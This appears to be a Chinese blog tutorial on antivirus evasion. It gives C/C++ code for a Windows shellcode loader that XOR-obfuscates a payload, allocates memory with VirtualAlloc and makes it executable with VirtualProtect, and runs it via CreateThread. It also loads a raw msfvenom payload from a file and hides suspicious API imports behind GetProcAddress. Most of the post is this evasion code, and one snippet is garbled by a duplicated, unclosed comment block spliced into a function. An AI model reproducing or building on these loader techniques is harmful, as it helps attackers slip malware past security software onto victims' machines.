MENU

免杀入门

May 12, 2022 • Read: 730 • Pwn&Reserve

免杀入门

异或混淆

一个数经过与相同的数进行两次的异或之后就变回他本身
如110 xor 101 得011 而011 xor 101得110.

C语言代码实现

void main()
{
    unsigned char buf[] = "";
    int shellcodesize = sizeof(buf);
    printf("%d\n",shellcodesize);
    for(int i = 0;i<shellcodesize; i++)
    {
        buf[i] ^= 10;
    }
    for(int i = 0;i<shellcodesize; i++)
    {
        buf[i] ^= 10;
    }
    ((void(*)(void)) & buf)(); 
    
}

去除特征1,手工为shellcode申请Windows内存

前置知识

Windows操作系统的内存有三种属性,分别为:可读、可写、可执行,并且操作系统将每个进程的内存都隔离开来,当进程运行时,创建一个虚拟的内存空间,系统的内存管理器将虚拟内存空间映射到物理内存上,所以每个进程的内存都是等大的。

在进程申请时,需要声明这块内存的基本信息:申请内存大小、申请内存起始内存基址、申请内存属性、申请内存对外的权限等。

申请方式:

  • HeapAlloc
  • malloc
  • VirtualAlloc
  • new
  • LocalAlloc
    其实以上所有的内存申请方式都与VirtualAlloc有关,因为VirtualAlloc申请的单位是“页”。而Windows操作系统管理内存的单位也是“页”。
//VirtualAlloc函数,在调用进程的虚拟地址空间中保留、提交或更改页面区域的状态。
    VirtualAlloc(
        NULL, // 基址
        800,  // 大小
        MEM_COMMIT, // 内存页状态
        PAGE_EXECUTE_READWRITE // 可读可写可执行
        );

去除特征2,使用virtualAlloc申请可读可写内存,然后通过VirtualProtect改变它的属性 -> 可执行

//VirtualProtect 的 Win32 实现将更改对调用进程的虚拟地址空间中已提交页面区域的保护。
    /*
    HRESULT VirtualProtect (
    [in]  void*   lpAddress,//一个指针,指向要更保护属性的虚拟内存的基址
    [in]  SIZE_T  dwSize,//要更改的内存页面区域的大小(以字节为单位)。
    [in]  DWORD   flNewProtect, //要应用的内存保护的类型。
    [out] DWORD*  pflOldProtect //一个指针,该指针指向前一个内存保护值。
int wmain(int argc, TCHAR* argv[]) {
    int shellcode_size = 0; //shellcode长度
    DWORD dwThreadId;    //线程Id
    HANDLE hThread;        //线程句柄
    DWORD dwOldProtect;    //内存页属性

    unsigned char buf[] = "";
    shellcode_size = sizeof(buf);
    for (int i = 0; i < shellcode_size; i++)
    {
        buf[i] ^= 10;
    }

    char* shellcode = (char*)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_READWRITE  //只申请可读可写
        );
    CopyMemory(shellcode, buf, shellcode_size); //将shellcode复制到可读可写的内存中
    //VirtualProtect 的 Win32 实现将更改对调用进程的虚拟地址空间中已提交页面区域的保护。
    /*
    HRESULT VirtualProtect (
    [in]  void*   lpAddress,//一个指针,指向要更保护属性的虚拟内存的基址
    [in]  SIZE_T  dwSize,//要更改的内存页面区域的大小(以字节为单位)。
    [in]  DWORD   flNewProtect, //要应用的内存保护的类型。
    [out] DWORD*  pflOldProtect //一个指针,该指针指向前一个内存保护值。
);
    */
    VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); //更改属性为可执行
        hThread = CreateThread(
            NULL, // 安全描述符
            NULL, // 栈的大小
            (LPTHREAD_START_ROUTINE)shellcode, // 函数
            NULL, // 参数
            NULL, // 线程标志
            &dwThreadId // 线程ID
        );

        WaitForSingleObject(hThread, INFINITE);
        return 0;

}

去除特征3,程序外加载shellcode

msf生成一段raw二进制流源文件
msfvenom -p xx -f raw -o fenli

c++读取二进制流文件

 char *filename = argv[1];
    // 以读模式打开文件
    ifstream infile;
    //以二进制方式打开
    infile.open(filename,ios::out|ios::binary);
    infile.seekg(0, infile.end); //追溯到流的尾部
    int length = infile.tellg(); //获取流的长度
    infile.seekg(0, infile.beg);//回溯到流头部

    char *data = new char[length]; //存取文件内容
    if (infile.is_open()) {
        cout << "reading from the file" << endl;
        infile.read(data, length);
    }

去除特征4,自定义函数隐藏导入表

前置知识

杀毒软件扫描原理大体上可以分为三种,文件扫描,内存扫描,行为监控。其中文件和内存都是基于特征来进行扫描的。磁盘中的文件可以看作静态特征,内存中的数据可以看作动态特征。
在文件的导入地址表中,代码中调用的api一览无遗,Virtual Alloc、CreateThread这类函数是杀毒软件重点关注的对象,一个几十kb的程序调用了这些函数,极有可能是木马病毒。

Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中,当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址。

像这样的程序出来就是不行了,很容易就被杀软查杀到了
2022-05-12-10-10-55.png

因此可以尝试在PE文件中抹去导入函数的名称。
尝试自己定义他们的函数指针,然后利用GetProcAddress获取函数地址,调用自己的函数名称。

//typedef用于类型定义,他允许用户为已经存在的数据类型起一个别名
//WINAPI 意味 __stdcall,是一种函数调用方式,stdcall调用方式的函数声明为:int _stdcall function(int a, int b);
/*
stdcall的调用方式意味着:
(1) 参数从右向左依次压入堆栈
(2) 由被调用函数自己来恢复堆栈
(3) 函数名自动加前导下划线,后面紧跟着一个@,其后紧跟着参数的尺寸
*/
//微软文档对VirtualAlloc函数的定义 使用vs右键查看定义
/*
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
*/
typedef LPVOID(WINAPI* ImportVirtualAlloc)(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
    );
//上述代码可以看作自己定义一个函数名为ImportVirtualAlloc,返回值、参数和VirtualAlloc相同的函数。
//下面的定义同理。


typedef HANDLE(WINAPI* ImportCreateThread)(
    LPSECURITY_ATTRIBUTES   lpThreadAttributes,
    SIZE_T                  dwStackSize,
    LPTHREAD_START_ROUTINE  lpStartAddress,
    __drv_aliasesMem LPVOID lpParameter,
    DWORD                   dwCreationFlags,
    LPDWORD                 lpThreadId);

typedef BOOL(WINAPI* ImportVirtualProtect)(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flNewProtect,
    PDWORD lpflOldProtect
    );

然后使用在调用virtualAlloc的地方使用GetProcAddress获取函数地址并赋值给我们自己新定义的函数名称即可

ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateThread");
ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");
ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject");

完整代码可参考博客自行完善:
https://luckyfuture.top/
https://payloads.online/
后续学习目标:学习加壳技术,shellcode加密解密,shellcode服务端远程加载
https://bbs.pediy.com/thread-250960.htm#msg_header_h3_3

Leave a Comment

本站总访问量 32682 次